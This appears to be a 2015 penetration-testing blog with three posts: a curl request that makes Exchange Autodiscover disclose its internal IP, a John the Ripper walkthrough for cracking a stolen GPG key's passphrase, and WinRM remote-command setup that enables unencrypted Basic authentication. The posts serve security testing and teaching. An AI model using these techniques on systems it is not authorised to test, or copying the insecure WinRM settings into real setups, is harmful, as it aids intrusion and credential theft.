Tuesday, August 25, 2015

Testing for Microsoft Exchange Autodiscover Internal IP Disclosure

So it turns out that if you request your targets autodiscover xml file without specifying a host, it will put in its internal IP into the "Realm" response header. One important thing that people done seem to mention is that you need to request the xml file using HTTP 1.0 not the default of 1.1. Below is the curl line i tend to use to test for it:
curl -i -k https://targetip/autodiscover/autodiscover.xml -0 -H "Host:"
HTTP/1.1 401 Unauthorized
Cache-Control: private
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-SOAP-Enabled: True
X-WSSecurity-Enabled: True
X-WSSecurity-For: None
X-AspNet-Version: 2.0.50727
WWW-Authenticate: Negotiate
WWW-Authenticate: NTLM
WWW-Authenticate: Basic realm=""
X-Powered-By: ASP.NET
Connection: close
Content-Length: 58
If you exclude the -0 (to use http 1.0) you will get a 400 bad request.
If your request includes something in the Host header, the server will place that in the Realm header instead of the internal IP.

Friday, August 21, 2015

Cracking GPG key passwords using John The Ripper

Did you get your hands on a private key somewhere? Is it asking you for a password if you try to use the key in some way?

Let's talk about how to crack that password so you can use it.

First lets create a key to crack:
$ gpg --gen-key
gpg (GnuPG) 1.4.19; Copyright (C) 2015 Free Software Foundation, Inc.
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.

Please select what kind of key you want:
   (1) RSA and RSA (default)
   (2) DSA and Elgamal
   (3) DSA (sign only)
   (4) RSA (sign only)
Your selection? 1
RSA keys may be between 1024 and 4096 bits long.
What keysize do you want? (2048) 4096
Requested keysize is 4096 bits
Please specify how long the key should be valid.
         0 = key does not expire
      <n>  = key expires in n days
      <n>w = key expires in n weeks
      <n>m = key expires in n months
      <n>y = key expires in n years
Key is valid for? (0) 0
Key does not expire at all
Is this correct? (y/N) y

You need a user ID to identify your key; the software constructs the user ID
from the Real Name, Comment and Email Address in this form:
    "Heinrich Heine (Der Dichter) <heinrichh@duesseldorf.de>"

Real name: jimbo
Email address: jimbo@example.com
Comment: jimbo's key
You selected this USER-ID:
    "jimbo (jimbo's key) <jimbo@example.com>"

Change (N)ame, (C)omment, (E)mail or (O)kay/(Q)uit? O
You need a Passphrase to protect your secret key.

We need to generate a lot of random bytes. It is a good idea to perform
some other action (type on the keyboard, move the mouse, utilize the
disks) during the prime generation; this gives the random number
generator a better chance to gain enough entropy.
We need to generate a lot of random bytes. It is a good idea to perform
some other action (type on the keyboard, move the mouse, utilize the
disks) during the prime generation; this gives the random number
generator a better chance to gain enough entropy.
gpg: key 7F636DEB marked as ultimately trusted
public and secret key created and signed.

gpg: checking the trustdb
gpg: 3 marginal(s) needed, 1 complete(s) needed, PGP trust model
gpg: depth: 0  valid:   2  signed:   0  trust: 0-, 0q, 0n, 0m, 0f, 2u
pub   4096R/7F636DEB 2015-08-21
      Key fingerprint = 61B7 3F7E 3A9E A4FB 312C  8E6D 826C 698C 7F63 6DEB
uid                  jimbo (jimbo's key) <jimbo@example.com>
sub   4096R/0AE4F026 2015-08-21

The generation process imports the key automatically, lets view it and make sure it worked by running:
$gpg --list-keys jimbo
pub   4096R/7F636DEB 2015-08-21
uid                  jimbo (jimbo's key) <jimbo@example.com>
sub   4096R/0AE4F026 2015-08-21

Cool, now that we know it generated, lets export it to a file. This is similar to what happens when you come across a priv/pub keypair on a fileshare or something:
$ gpg --export-secret-key --armor jimbo > jimbo.priv
$ ls -l jimbo.priv
-rw-r--r--  1 user  user  6697 Aug 21 11:58 jimbo.priv

Now we have the private key (which actually includes the public inside it as well) in a file. At this point, an attacker would download this file locally and run John The Ripper on it.

The first thing the attacker needs to do is convert it to a john friendly format. The jumbo pack version of jtr has a tool called gpg2john:
$ ./gpg2john asdfgpg.priv > gpghashtest

Then crack like normal with JTR:
$ ./john gpghashtest
Warning: detected hash type "gpg", but the string is also recognized as "gpg-opencl"
Use the "--format=gpg-opencl" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (gpg, OpenPGP / GnuPG Secret Key [32/64])
Press 'q' or Ctrl-C to abort, almost any other key for status
Password1234             (jimbo)
Session completed

Wednesday, August 12, 2015

Running commands through WinRM

I followed both http://blogs.technet.com/b/askperf/archive/2010/09/24/an-introduction-to-winrm-basics.aspx and https://github.com/WinRb/WinRM to get winrm up and working and running remote commands.

WinRM appears to be a soap based shell allowing users/admins to connect in and run commands or scripts or whatever. It's basically a remote administration/management tool. All the tests i performed was on a windows 7 box.

Something to note is that the http port it runs on is 5985, https is on 5986. Neither of these ports are in nmap's default port scan list (top 1000) so unless you are looking for it, you could miss it.

In nmap it shows up as:
Nmap scan report for
Host is up (0.056s latency).
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

So no super obvious signs that its WinRM listening on the port. I think the only thing you could really go off of is the actual port number and know that its a windows system.

Luckily someone created a ruby library that interacts with WinRM and allows you to connect to it and run commands.

When i first the github example, it was giving me auth issues so i had to run the following to get it to shut up and accept my creds:

winrm set winrm/config/client/auth @{Basic="true"}
winrm set winrm/config/service/auth @{Basic="true"}
winrm set winrm/config/service @{AllowUnencrypted="true"}

Once I ran that on the server, the library stopped giving me auth errors. I was able to run ipconfig on the remote system and it spat back the results.

so yay...